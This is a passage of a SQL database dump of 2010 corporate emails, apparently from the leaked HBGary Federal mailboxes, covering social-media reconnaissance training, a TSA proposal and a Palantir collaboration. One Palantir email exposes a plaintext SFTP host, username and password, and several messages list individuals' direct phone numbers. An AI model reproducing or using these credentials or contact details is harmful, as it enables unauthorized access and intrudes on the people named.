\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6672,'aaron_hbgary_com/6672.html'),(10344,'2010-08-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008063.M990385P14101Q5199.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','revised training dates','We needed to change the first class dates due to Aaron working the TSA\r\nproposal and me & Mark the VAPT, and needing some more time for us to\r\nfinish the course material up.\r\n\r\nDates below.  Full Day online is $700.  1/2 Day online is $525.\r\n\r\nI updated gotomeeting (training.hbgaryfederal.com) but couldn\'t update\r\nour website.\r\n\r\nSocial Media & Information Reconnaissance - Full Day\r\nThursday, September 16, 2010 8:00 AM - 4:00 PM MDT\r\n\r\nSocial Media & Information Reconnaissance - Half Day\r\nTuesday, September 21, 2010 8:00 AM - 12:00 PM MDT\r\n\r\nSocial Media & Information Reconnaissance - Half Day\r\nThursday, October 7, 2010 8:00 AM - 12:00 PM MDT\r\n\r\nSocial Media & Information Reconnaissance - Full Day\r\nTuesday, October 26, 2010 8:00 AM - 4:00 PM MDT\r\n',11069,'aaron_hbgary_com/11069.html'),(10345,'2010-08-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008064.M196860P14101Q5200.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','The VM','Is 95% complete -- shit this is taking forever!!!\r\n',1163,'aaron_hbgary_com/1163.html'),(10346,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008071.M606379P14101Q5201.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','','The explosive growth of the social web creates an entirely new class of services that engage, connect, and push relevant real-time information to users. &nbsp;The personal and organizational benefits of social media are measurable; whether through marketing and advertising, recruiting, building personal and professional relationships, training, or richer communications and collaboration. &nbsp;The only thing the social web requires is some level of personally identifiable information (PII); who you are, where you are, what you like and dislike, who you associate with. &nbsp;In many cases users of social media are not just involved in a single social media service but multiple services to meet different needs. &nbsp;The exposure of PII is a constant topic of interest and concern amongst individuals as well as security and privacy advocates. &nbsp;But most of these conversations are about the security and privacy settings of specific services and levels of security. &nbsp;Infrequently discussed is the amount of information exposure to persons and organizations through the aggregation of PII across the social media landscape. &nbsp;What can someone tell about the personal associations, places of work, locations visited, discussions. &nbsp;What can all of this information expose about organizations based on analysis of this information across a set of its employees using a variety of services. &nbsp;With this as the context we all need to think about the benefits of effective use of social media, the risks inherent in social media use, and especially misuse, and the steps individuals and organizations can take to limit exposure of information.HBGary Federal’s one-day training program familiarizes individuals and organizations with the social media landscape, the effective uses of social media for personal and organizational benefits, risks of use, methodologies for social reconnaissance, and protective measures to mitigate some of the risks of information exposure. &nbsp;The course covers some of the emerging technologies that increase the effectiveness of social media such as location based services, geo-tagging, object recognition, augmented reality, their benefits and increased risks to information exposure. &nbsp;In the effective use section we discuss how individuals and organizations can use social media effectively for crowd sourcing, marketing and advertising, increasing and organizing communications, recruiting, competitive intelligence, professional and business development. &nbsp;During the section covering risks of use we discuss the privacy concerns of individual services but focus on the concerns of information exposure across social media platforms. &nbsp;What does your Linkedin profile provide about an individual that can be correlated with information on Twitter, Facebook, etc. &nbsp;How easy it is to conduct social reconnaissance using social media services. &nbsp;In the use cases section we run down methodologies for social reconnaissance and run through some examples of how it can be used specifically for information collection, competitive intelligence, and developing spear phishing campaigns to deliver malware. &nbsp;Lastly we describe some of the steps and solutions that can be implemented to decrease information exposure while still being able to take advantage of what social media has to offer.-------------------------------**********Filler stuff***********The course provides information to improve pon effective use of social media to improve yTechnology outpaces security, and with the rise of social media this was never more true. &nbsp;The level of information exposure for individuals and organizations is rising fast, combined with other technologies such as location based services, object recognition, convergence and service integration, managing personal or organizational PII is .... &nbsp;The change from explicit to implicit release of information has happened. &nbsp;And the ability to manage PII is taxed, with no real technologies yet in existing that can help. &nbsp;Both the first and last lines of defense are training, user awareness of what different aspects of participation in social media can mean to you personally and the organizations your affiliated with. &nbsp;The biggest threats here are not the individual privacy settings on a single social media service but the aggregation of information and unintended information exposure. &nbsp;Everything from geo-tagged photographs posted, to sensitive associations&nbsp;for both personal and professional use and identifies the associated risks. The course is structured in five modules: Familiarization, Effective Use, Risks, Information Reconnaissance, and Protective Measures. Each module includes interactive sections and student labs. The labs cover information exploitation use cases using current popular social media services&nbsp;and social reconnaissance techniques, demonstrating the personal and organizational impacts. The Protective Measures module provides techniques that can be incorporated into personal social media use and organizational policies and directives to limit information exposure, and overviews of technologies that can be used to better monitor and block certain types of information exposure. Our training is offered in a one-day as well as one-half day Executive format. Training is provided in our Sacramento Corporate Office, can be delivered on-site at the customer location, or online. Our online training is led by a live instructor and accomodates up to 25 students per class. The online training environment provides a rich interactive learning experience.embedded geo-tag data in photoslocation based servicesThe explosive growth of social media has created a highly effective channel for the collection and aggregation of personal and organizational information for the purpose of delivering tailored content. To effectively interact in a social media ecosystem requires some release of personally identifiable information (PII), for most social media services the more information you provide the more tailored and beneficial the experience. In most cases these are legitimate reasons for providing the information with tangible user benefits, whether it be to more personalize and localize advertising or tailored and real-time information delivery that increases personal and organizational productivity. Unfortunately the same&nbsp;methods are being used to conduct information reconnaissance and exploitation. The most common current examples are spear-phishing attacks. Future social media exploitation tactics will likely be applications and services that provide personal benefit or entertainment, but serve a dual purpose to collect information that can be used for more insidi- ous purposes. This marks a new class of exploitation, vehicles directly targeting people rather than the machines they use, what we call Infoware.',2548,'aaron_hbgary_com/2548.html'),(10347,'2010-08-16','\"Twitter\" <twitter-email_change_previous-Aaron=HBGary.com@postmaster.twitter.com>','/aaron@hbgary.com/new/1297008072.M728849P14101Q5203.eml','Aaron@HBGary.com','Twitter email confirmation for HBGaryFed','\r\n\r\n  \r\n  a { color: #0084B4}\r\n  a:hover { color: #215e88}\r\n  h1, h2 { margin: 0 0 16px 0; color: #000;}\r\n  h2 { font: 20px Georgia, serif; }\r\n  h3 { margin: 14px 0 4px 0;  color: #000; font: normal 18px Georgia, serif; line-height: 22px; }\r\n  p, ul { margin: 4px 0 15px 0;  font:13px \'Lucida Grande\', Lucida Grande, Helvetica, Arial, sans-serif; }\r\n  p { line-height: 18px; }\r\n  .user:after { content: \".\"; display: block; height: 0; clear: both; visibility: hidden;}\r\n  .user { {display: inline-block;}\r\n  \r\n  \r\n    \r\n      \r\n    \r\n    \r\n      \r\n    \r\n    \r\n      \r\n        \r\n          Hi, Aaron Barr\r\n\r\nYou recently changed the email address associated with your Twitter account (@HBGaryFed).\r\n\r\nTo confirm your new contact email, please follow the link in the confirmation message sent to that address.\r\n\r\n\r\nIf you did not request this change and believe your Twitter account has been compromised,\r\n      contact Twitter support by clicking this link: http://support.twitter.com/articles/31796-my-account-is-compromised-hacked\r\n\r\n\r\n\r\n    The Twitter Team\r\n  \r\n\r\n\r\n\r\n\r\n  \r\n  Please do not reply to this message; it was sent from an unmonitored email address.  This message is a service email related to your use of Twitter.  For general inquiries or to request support with your Twitter account, please visit us at Twitter Support.\r\n\r\n\r\n\r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n',4757,'aaron_hbgary_com/4757.html'),(10348,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008072.M95838P14101Q5202.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Technical Services','How is this as a start. &nbsp;I don\'t know much about core impact other than what is publically available. &nbsp;I can tune later.AaronOn Aug 15, 2010, at 12:02 PM, John Fanguy wrote:Aaron-&nbsp;While you are kid-sitting, would you have time to write/edit some bullets for this table?&nbsp; Bill drafted the “Specialties” bullets, but I’m trying to get some “Value” bullets.&nbsp; You have similar words in your new writeup, but could you flush them out by ccompany?&nbsp;&nbsp;Thanks!-John&nbsp;“In addition to our formal teaming partners to meet the needs of the TSA ITSSS program, we have deep access to other IA companies that DMI has strategic relationships with.&nbsp;Strategic PartnerSpecialtiesValue to TSA&lt;image002.jpg&gt;·Memory forensics, malware analysis, zero day malware detection using behavior based trait analysis (DDNA), robust run time tracingEnterprise advanced threat detection using HBGary Active Defense.Volume malware processing and malware fingerprint analysis &nbsp;&nbsp;Detect malicious code by looking at software behavior, not signatures.·&nbsp;&nbsp;&nbsp;Automated malware analysis and reporting.Live memory acquisition and diagnostics.·&nbsp;&nbsp;&nbsp;&nbsp;Tools allow for faster and more effective malware analysis using a lower skill set. &nbsp;Active Defense provides enterprise malware detection at the host memory level, when integrated with Fidelis it provides a complete and intelligent perimeter to host malware detection and remediation capability, continuous incident response. &nbsp;The Volume malware processor and fingerprint tool when combined with Palantir provide a signficant threat intelligence capability. &nbsp;DDNA provides a triage capability for incident responders to quickly identify compromised systems.&lt;image003.jpg&gt;·&nbsp;&nbsp;&nbsp;Robust and scalable analytic platform specializing in large dataset analysis.Integrates multiple cyber data sources to present a comprehensive view of a cyber targeting event.·&nbsp;&nbsp;&nbsp;Usable yet robust user interface that enables the analyst to drill into large datasets and easily query and organize data.Data Management, Integration, and Geo-Temporal Analysis of cyber events.·&nbsp;&nbsp;&nbsp;Creates threat maps using malware, network, command and control, and social data.&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;Use to build threat intelligence maps and visualizations for situational awareness that can be incorporated into SOC and Incident Response processes to provide a deeper understanding of threats across the enterprise.&lt;image004.jpg&gt;·&nbsp;&nbsp;&nbsp;Full session level reconstruction and analysis and wire speed.Real-time session-level visibility through Deep Session Inspection.·&nbsp;&nbsp;&nbsp;Deep session analysis including the ability to primarily analyze attachments in line.Real-time visualization of network activity by mapping information flow.· Full data leakage protection with a robust policy engine&nbsp;Comprehensive visibility to content and applications on all ports at gigabit speeds.&nbsp;Automated incident response.·&nbsp;&nbsp;&nbsp;Intelligent network forensics, which decreases forensics program costs.&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;More capable perimeter security solution to prevent data loss and detect and block threats. &nbsp;When integrated with HBGary Active Defense it provides a full perimeter to host intelligence incident response solution that can be managed continuously.&lt;image005.jpg&gt;·&nbsp;&nbsp;&nbsp;Use real-world attack techniques to identify and prove the critical vulnerabilities that put systems and data at risk.·&nbsp;&nbsp;&nbsp;Fully automated pen tests that employ GPS-like adaptive intelligence to dynamically identify new attack paths as infrastructure changes.·&nbsp;&nbsp;&nbsp;Enables security testers to pivot across different IT layers to trace complex paths of exploitable vulnerabilities that reveal sensitive backend resources.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-John&nbsp;VPDigital Management, Inc.301-346-6749 cell&nbsp;&nbsp;-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent: Sunday, August 15, 2010 7:53 AMTo: William LutiCc: John FanguySubject: Technical Services&nbsp;Bill,&nbsp;Forgot to include you on distro.&nbsp; Given the focus John gave me yesterday I think this is starting to look a lot better.&nbsp; Definatly more to go but getting there.&nbsp;',15172,'aaron_hbgary_com/15172.html'),(10349,'2010-08-16','\"Twitter\" <twitter-email_change_next-federal=hbgary.com@postmaster.twitter.com>','/aaron@hbgary.com/new/1297008073.M247642P14101Q5204.eml','federal@hbgary.com','Confirm your Twitter contact email, HBGaryFed','\r\n\r\n  \r\n  a { color: #0084B4}\r\n  a:hover { color: #215e88}\r\n  h1, h2 { margin: 0 0 16px 0; color: #000;}\r\n  h2 { font: 20px Georgia, serif; }\r\n  h3 { margin: 14px 0 4px 0;  color: #000; font: normal 18px Georgia, serif; line-height: 22px; }\r\n  p, ul { margin: 4px 0 15px 0;  font:13px \'Lucida Grande\', Lucida Grande, Helvetica, Arial, sans-serif; }\r\n  p { line-height: 18px; }\r\n  .user:after { content: \".\"; display: block; height: 0; clear: both; visibility: hidden;}\r\n  .user { {display: inline-block;}\r\n  \r\n  \r\n    \r\n      \r\n    \r\n    \r\n      \r\n    \r\n    \r\n      \r\n        \r\n          Hi, Aaron Barr\r\n\r\nYou recently changed the email address associated with your Twitter account (@HBGaryFed).\r\nTo confirm federal@hbgary.com as your new contact email, click this link:\r\n\r\nhttp://twitter.com/account/confirm_email/HBGaryFed/3D658-67H3G-128192\r\nOnce you confirm, all future email from Twitter will be sent to this address.\r\n\r\n\r\n    The Twitter Team\r\n  \r\n\r\n\r\n\r\n  \r\n    If you received this message in error and did not sign up for a Twitter account, click not my account.\r\n  \r\n\r\n\r\n  \r\n  Please do not reply to this message; it was sent from an unmonitored email address.  This message is a service email related to your use of Twitter.  For general inquiries or to request support with your Twitter account, please visit us at Twitter Support.\r\n\r\n\r\n\r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n',721,'aaron_hbgary_com/721.html'),(10350,'2010-08-16','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297008073.M827985P14101Q5205.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Continuing discussion / palantir + malware intelligence','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &amp; Ted &#8211;\r\n\r\n&nbsp;\r\n\r\nI&#8217;m disappointed my demo didn&#8217;t go off well on\r\nFriday &#8211; apparently there&#8217;s an issue with Java display drivers\r\n&amp; Webex that I was unaware of. We&#8217;ll trace it for next time, when\r\nhopefully we&#8217;ll have something interesting to show with the fingerprint\r\ndata. \r\n\r\n&nbsp;\r\n\r\nIn the meantime, I set up a support account for us to exchange\r\ndata. Credentials are below. \r\n\r\nSFTP/host: sftp.palantirtech.com\r\n\r\nUsername: 469ffff0\r\nPassword: uzqpnmm0\r\n\r\n&nbsp;\r\n\r\nThanks again,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantirtech.com\r\n| 202-684-8066\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, August 12, 2010 4:59 PM\r\nTo: Aaron Zollman\r\nCc: Matthew Steckman; Jeff Wootton; Ted Vera\r\nSubject: Re: Continuing discussion / palantir + malware intelligence\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nok Ted can you support 12:30 tomorrow?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 12, 2010, at 10:16 AM, Aaron Zollman wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTomorrow, 12:30 looks best for Matt and me; we could also do\r\nlate this afternoon around 4.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantirtech.com&nbsp;| 202-684-8066\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, August 12,\r\n2010 7:59 AM\r\nTo:&nbsp;Aaron Zollman\r\nCc:&nbsp;Matthew Steckman; Jeff\r\nWootton; Ted Vera\r\nSubject:&nbsp;Re: Continuing\r\ndiscussion / palantir + malware intelligence\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAbsolutely,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI had some deadlines for the TSA proposal that was due\r\nyesterday/today that had me focused. &nbsp;What is your schedule Today,\r\ntomorrow, monday, or tuesday?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 9, 2010, at 8:25 PM, Aaron Zollman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe&#8217;d talked about setting up a call this week and, a webex\r\ndiscussion soon after, to collaborate on the malware fingerprinting &amp;\r\nintelligence Greg presented at Black Hat.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt and I are both available all Wednesday morning for that\r\nfirst call; is there any time that that works for your guys?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m also confirmed to be in California next week from\r\nAugust 15th-20th, if it makes sense to do a follow-on\r\ndiscussion in Sacramento.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantirtech.com&nbsp;| 202-684-8066\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, August 04,\r\n2010 7:49 PM\r\nTo:&nbsp;Aaron Zollman\r\nCc:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Invitation:\r\nLunch at Palantir @ Thu Aug 5 12pm - 1pm (msteckman@palantirtech.com)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYummy. &nbsp;I\'ll be there.\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 4, 2010, at 7:42 PM, Aaron Zollman &lt;azollman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI can preview the proposition\r\n&#8211; having watched Greg&#8217;s talk at Blackhat, I think you guys really\r\nshould see what we&#8217;re doing with Object Explorer in 3.0. Fantastic talk\r\n&#8211; even if it did have 7 maltego slides and only one Palantir one&nbsp;J.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe fingerprint tool pulls\r\nout very specific, named features of malware for clustering; OE is really good\r\nat starting with hundreds of thousands (or millions) of objects and drilling\r\ndown and then charting based on specific features. So, if you want to only find\r\nmalware with a specific keylogger *and* a specific exfil library and\r\nthen chart the timeline over which it was collected, it&#8217;s about a a\r\n7-click operation. And super-fast, too, even across a million fingerprint\r\noutput objects.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMind you, I don&#8217;t have\r\na malware library to run fingerprint against, so I&#8217;ll demo what\r\nwe&#8217;ve done with network logs. But you guys *do* have a malware\r\nlibrary. Maybe we even contributed a few samples to it.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFWIW, Palantir lunch line\r\ntomorrow is clam &amp; seafood bake, if I read the sign correctly.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantirtech.com&nbsp;| 202-684-8066\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom:&nbsp;Matthew Steckman&nbsp;\r\nSent:&nbsp;Wednesday, August\r\n04, 2010 7:37 PM\r\nTo:&nbsp;Aaron Barr\r\nCc:&nbsp;Aaron Zollman\r\nSubject:&nbsp;RE: Invitation:\r\nLunch at Palantir @ Thu Aug 5 12pm - 1pm (msteckman@palantirtech.com)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUnfortunately disaster struck on one of my sites and I have to\r\nbe downtown at this time tomorrow.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYou still want to come to meet with Zollman?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original\r\nAppointment-----\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, August\r\n04, 2010 6:40 PM\r\nTo:&nbsp;Aaron Barr; Matthew\r\nSteckman\r\nSubject:&nbsp;Invitation: Lunch\r\nat Palantir @ Thu Aug 5 12pm - 1pm (msteckman@palantirtech.com)\r\nWhen:&nbsp;Thursday, August 05,\r\n2010 12:00 PM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere:&nbsp;Palantir Lunch Line\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n  more details &raquo;\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  Lunch at Palantir\r\n  \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n    When\r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Thu Aug 5 12pm &#8211; 1pm&nbsp;Eastern Time\r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    Where\r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Palantir Lunch Line (map)\r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    Calendar\r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msteckman@palantirtech.com\r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    Who\r\n    \r\n    \r\n    \r\n    \r\n    \r\n     \r\n      \r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8226;\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Aaron\r\n      Barr&nbsp;- organizer\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n      \r\n      &#8226;\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msteckman@palantirtech.com\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n      \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n  \r\n  Going?&nbsp;&nbsp;&nbsp;Yes&nbsp;-&nbsp;Maybe&nbsp;-&nbsp;No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;\r\n  \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n  Invitation from&nbsp;Google Calendar\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  You are receiving this courtesy email at the account&nbsp;msteckman@palantirtech.com&nbsp;because you are an attendee of this\r\n  event.\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  To stop receiving future notifications for this event,\r\n  decline this event. Alternatively you can sign up for a Google account athttps://www.google.com/calendar/&nbsp;and control your notification\r\n  settings for your entire calendar.\r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;&lt;\r\nFile: invite.ics &gt;&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9804,'aaron_hbgary_com/9804.html'),(10351,'2010-08-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008074.M462821P14101Q5207.eml','aaron@hbgary.com,mark@hbgary.com','Invitation: Social Media Training - Full Day @ Thu Sep 16 10am - 6pm (aaron@hbgary.com)',' more details &raquo;Social Media Training - Full DayWhenThu Sep 16 10am – 6pm Eastern TimeCalendaraaron@hbgary.comWho&#x2022;ted@hbgary.com - organizer&#x2022;mark@hbgary.com&#x2022;Aaron BarrGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',14890,'aaron_hbgary_com/14890.html'),(10352,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008074.M67992P14101Q5206.eml','\"Ted Vera\" <ted@hbgary.com>','What about','Using Foursquare and the service your friend has where you text a word to 90210.\r\n\r\nCould lead you on a scavanger hunt.\r\n\r\nor it could even be a choose your own story.\r\n\r\n',4803,'aaron_hbgary_com/4803.html'),(10353,'2010-08-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008075.M19123P14101Q5208.eml','aaron@hbgary.com,mark@hbgary.com','Invitation: Social Media Training - Half Day @ Tue Sep 21 10am - 2pm (aaron@hbgary.com)',' more 